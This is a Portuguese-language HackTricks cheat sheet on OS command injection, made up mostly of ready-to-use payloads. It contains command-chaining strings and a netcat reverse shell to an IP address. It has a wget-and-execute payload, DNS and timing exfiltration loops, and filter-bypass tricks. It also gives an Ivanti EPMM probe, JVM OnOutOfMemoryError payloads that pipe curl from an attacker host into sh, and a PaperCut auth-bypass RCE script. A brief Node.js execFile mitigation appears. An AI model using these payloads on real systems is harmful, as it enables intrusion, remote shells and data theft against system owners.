Command Injection
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
O que é command Injection?
Uma command injection permite a execução de comandos arbitrários do sistema operacional por um atacante no servidor que hospeda uma aplicação. Como resultado, a aplicação e todos os seus dados podem ser totalmente comprometidos. A execução desses comandos normalmente permite ao atacante obter acesso não autorizado ou controle sobre o ambiente da aplicação e o sistema subjacente.
Contexto
Dependendo de onde sua entrada está sendo injetada você pode precisar encerrar o contexto entre aspas (usando " ou ') antes dos comandos.
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
Limitação Bypasses
Se você está tentando executar comandos arbitrários dentro de uma máquina linux, você terá interesse em ler sobre estes Bypasses:
Exemplos
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Bash avaliação aritmética em RewriteMap/CGI-style scripts
RewriteMap helpers written in bash sometimes push query params into globals and later compare them in arithmetic contexts ([[ $a -gt $b ]], $((...)), let). A expansão aritmética re-tokeniza o conteúdo, então nomes de variáveis controladas pelo atacante ou referências de array são expandidas duas vezes e podem ser executadas.
Padrão observado em Ivanti EPMM RewriteMap helpers:
- Params mapeiam para variáveis globais (
st→gStartTime,h→theValue). - Verificação posterior:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
- Envie
st=theValuepara quegStartTimeaponte para a stringtheValue. - Envie
h=gPath['sleep 5']para quetheValuecontenha um índice de array; durante a checagem aritmética ele executasleep 5(troque por um payload real).
Sonda (~5s de atraso, depois 404 se vulnerável):
curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"
- Procure o mesmo helper em outros prefixos (e.g.,
/mifs/c/aftstore/fob/). - Contextos aritméticos tratam tokens desconhecidos como identificadores de variáveis/arrays, portanto isso contorna filtros simples de metacaracteres.
Parâmetros
Aqui estão os 25 principais parâmetros que podem ser vulneráveis a code injection e vulnerabilidades RCE semelhantes (de link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Time based data exfiltration
Extraindo dados: char by char
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS based data exfiltration
Baseado na ferramenta disponível em https://github.com/HoLyVieR/dnsbin, também hospedada em dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Ferramentas online para verificar DNS based data exfiltration:
- dnsbin.zhack.ca
- pingb.in
Filtering bypass
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
Node.js child_process.exec vs execFile
Ao auditar back-ends em JavaScript/TypeScript, você frequentemente encontrará a API child_process do Node.js.
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
exec() inicia um shell (/bin/sh -c), portanto qualquer caractere que tenha um significado especial para o shell (back-ticks, ;, &&, |, $(), …) resultará em command injection quando a entrada do usuário for concatenada na string.
Mitigação: use execFile() (ou spawn() sem a opção shell) e forneça cada argumento como um elemento separado do array para que nenhum shell seja envolvido:
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Real-world case: Synology Photos ≤ 1.7.0-0794 foi explorável através de um evento WebSocket não autenticado que colocou dados controlados pelo atacante em id_user, que depois foi embutido em uma chamada exec(), alcançando RCE (Pwn2Own Ireland 2024).
Injeção de argumento/opção via hífen inicial (argv, sem metacaracteres de shell)
Nem todas as injeções exigem metacaracteres de shell. Se a aplicação passa strings não confiáveis como argumentos para uma utility do sistema (mesmo com execve/execFile e sem shell), muitos programas ainda vão interpretar qualquer argumento que comece com - ou -- como uma opção. Isso permite que um atacante mude modos, altere caminhos de saída ou dispare comportamentos perigosos sem nunca invadir um shell.
Locais típicos onde isso aparece:
- Embedded web UIs/CGI handlers que constroem comandos como
ping <user>,tcpdump -i <iface> -w <file>,curl <url>, etc. - Centralized CGI routers (e.g.,
/cgi-bin/<something>.cgiwith a selector parameter liketopicurl=<handler>) onde múltiplos handlers reaproveitam o mesmo validador fraco.
O que tentar:
- Fornecer valores que comecem com
-/--para serem consumidos como flags pela ferramenta a jusante. - Abusar de flags que mudam comportamento ou escrevem arquivos, por exemplo:
ping:-f/-c 100000para sobrecarregar o dispositivo (DoS)curl:-o /tmp/xpara escrever caminhos arbitrários,-K <url>para carregar configuração controlada pelo atacantetcpdump:-G 1 -W 1 -z /path/script.shpara conseguir execução pós-rotacionamento em wrappers inseguros- Se o programa suportar
--end-of-options, tente contornar mitigação ingênua que anteponha--no lugar errado.
Generic PoC shapes against centralized CGI dispatchers:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>¶m=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
Callbacks de diagnóstico do JVM para exec garantido
Qualquer primitiva que permita injetar JVM command-line arguments (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents, etc.) pode ser transformada em um RCE confiável sem tocar no bytecode da aplicação:
- Force um crash determinístico reduzindo metaspace ou heap:
-XX:MaxMetaspaceSize=16m(ou um-Xmxpequeno). Isso garante umOutOfMemoryErrormesmo durante o bootstrap inicial. - Anexe um hook de erro:
-XX:OnOutOfMemoryError="<cmd>"ou-XX:OnError="<cmd>"executa um comando arbitrário do SO sempre que a JVM aborta. - Opcionalmente adicione
-XX:+CrashOnOutOfMemoryErrorpara evitar tentativas de recuperação e manter o payload one-shot.
Exemplos de payloads:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"
Porque esses diagnostics são parseados pelo próprio JVM, nenhum metacaractere de shell é necessário e o comando é executado com o mesmo nível de integridade do launcher. Bugs de IPC de desktop que encaminham flags JVM fornecidas pelo usuário (see Localhost WebSocket abuse) portanto se traduzem diretamente em execução de comando no SO.
PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE
- Vulnerable NG/MF builds (e.g., 22.0.5 Build 63914) expõem
/app?service=page/SetupCompleted; ao navegar até lá e clicar em Login retorna umJSESSIONIDválido sem credenciais (bypass de autenticação no fluxo de setup). - Em Options → Config Editor, defina
print-and-device.script.enabled=Yeprint.script.sandboxed=Npara ativar o printer scripting e desabilitar o sandbox. - Na aba Scripting da impressora, habilite o script e mantenha
printJobHookdefinido para evitar erros de validação, mas coloque o payload fora da função para que ele seja executado imediatamente quando você clicar em Apply (não é necessário um trabalho de impressão):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
- Troque o callback por um reverse shell; se a UI/PoC não conseguir lidar com pipes/redirects, stage um payload com um comando e execute-o com uma segunda requisição.
- O CVE-2023-27350.py da Horizon3 automatiza the auth bypass, config flips, command execution, and rollback — execute-o através de um upstream proxy (por exemplo,
proxychains→ Squid) quando o serviço só for acessível internamente.
Brute-Force Detection List
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
Referências
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
- Extraction of Synology encrypted archives – Synacktiv 2025
- PHP proc_open manual
- HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)
- Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered
- When WebSockets Lead to RCE in CurseForge
- PaperCut NG/MF SetupCompleted auth bypass → print scripting RCE
- CVE-2023-27350.py (auth bypass + print scripting automation)
- Unit 42 – Bash arithmetic expansion RCE in Ivanti RewriteMap scripts
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


